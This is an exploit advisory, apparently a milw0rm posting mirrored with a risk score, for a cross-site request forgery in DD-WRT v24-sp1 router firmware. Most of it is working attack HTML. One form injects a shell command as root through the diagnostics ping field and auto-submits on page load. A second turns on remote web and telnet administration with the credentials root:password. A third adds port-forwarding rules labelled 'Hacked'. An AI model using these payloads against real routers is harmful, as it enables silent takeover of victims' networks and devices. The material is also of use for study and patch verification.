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DD-WRT v24-sp1 - Cross-Site Reference Forgery
Remote root dd-wrt
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Written by Michael Brooks
Special thanks to str0ke
Exploits tested on the newist stable version:
Firmware: DD-WRT v24-sp1 (07/27/08) micro
Product Homepage:
http://dd-wrt.com/
Impact:
1)Remote root command execuiton /bin/sh
2)Change web administration password and enable remote admistration
3)create new Port Forwarding rules to byass NAT.
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
</head>
Remote root command execution /bin/sh
<form method="post" action="http://192.168.1.1/apply.cgi" id=1>
<input name="submit_button" value="Ping" type="hidden">
<input name="action" value="ApplyTake" type="hidden">
<input name="submit_type" value="start" type="hidden">
<input name="change_action" value="gozila_cgi" type="hidden">
<input name="next_page" value="Diagnostics.asp" type="hidden">
<input name="ping_ip" value="echo owned">
<input name="execute command" type="submit">
</form><br><br>
enable remote administration and change login to root:password
<form method="post" action="http://192.168.1.1/apply.cgi">
<input name="submit_button" value="Management" type="hidden">
<input name="action" value="ApplyTake" type="hidden">
<input name="change_action" value="" type="hidden">
<input name="submit_type" value="" type="hidden">
<input name="commit" value="1" type="hidden">
<input name="PasswdModify" value="0" type="hidden">
<input name="remote_mgt_https" value="" type="hidden">
<input name="http_enable" value="1" type="hidden">
<input name="info_passwd" value="0" type="hidden">
<input name="https_enable" value="" type="hidden">
<input name="http_username" value="root" type="hidden">
<input name="http_passwd" value="password" type="hidden">
<input name="http_passwdConfirm" value="password" type="hidden">
<input name="_http_enable" value="1" type="hidden">
<input name="refresh_time" value="3" type="hidden">
<input name="status_auth" value="1" type="hidden">
<input name="maskmac" value="1" type="hidden">
<input name="remote_management" value="1" type="hidden">
<input name="http_wanport" value="8080" type="hidden">
<input name="remote_mgt_telnet" value="1" type="hidden">
<input name="telnet_wanport" value="23" type="hidden">
<input name="boot_wait" value="on" type="hidden">
<input name="cron_enable" value="1" type="hidden">
<input name="cron_jobs" value="" type="hidden">
<input name="loopback_enable" value="1" type="hidden">
<input name="nas_enable" value="1" type="hidden">
<input name="resetbutton_enable" value="1" type="hidden">
<input name="zebra_enable" value="1" type="hidden">
<input name="ip_conntrack_max" value="512" type="hidden">
<input name="ip_conntrack_tcp_timeouts" value="3600" type="hidden">
<input name="ip_conntrack_udp_timeouts" value="120" type="hidden">
<input name="overclocking" value="200" type="hidden">
<input name="router_style" value="yellow" type="hidden">
<input name="Remote Admin" type="submit">
</form><br><br>
Change Port Forwarding to byass NAT protection.
<form method="post" action="http://192.168.1.1/apply.cgi">
<input name="submit_button" value="Change Port Forwarding" type="submit">
<input name="action" value="ApplyTake" type="hidden">
<input name="change_action" value="" type="hidden">
<input name="submit_type" value="" type="hidden">
<input name="forward_spec" value="13" type="hidden">
<input name="name0" value="Hacked" type="hidden">
<input name="from0" value="4450" type="hidden">
<input name="pro0" value="both" type="hidden">
<input name="ip0" value="192.168.1.100" type="hidden">
<input name="to0" value="445" type="hidden">
<input name="enable0" value="on" type="hidden">
<input name="name1" value="Hacked Again" type="hidden">
<input name="from1" value="22" type="hidden">
<input name="pro1" value="tcp" type="hidden">
<input name="ip1" value="192.168.1.101" type="hidden">
<input name="to1" value="22" type="hidden">
<input name="enable1" value="on" type="hidden">
</form>
</html>
<script>
document.getElementById(1).submit();//remote root command execution!
</script>
# milw0rm.com [2008-12-08]Data
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08 Dec 2008 00:00Current
7.4High risk
Vulners AI Score7.4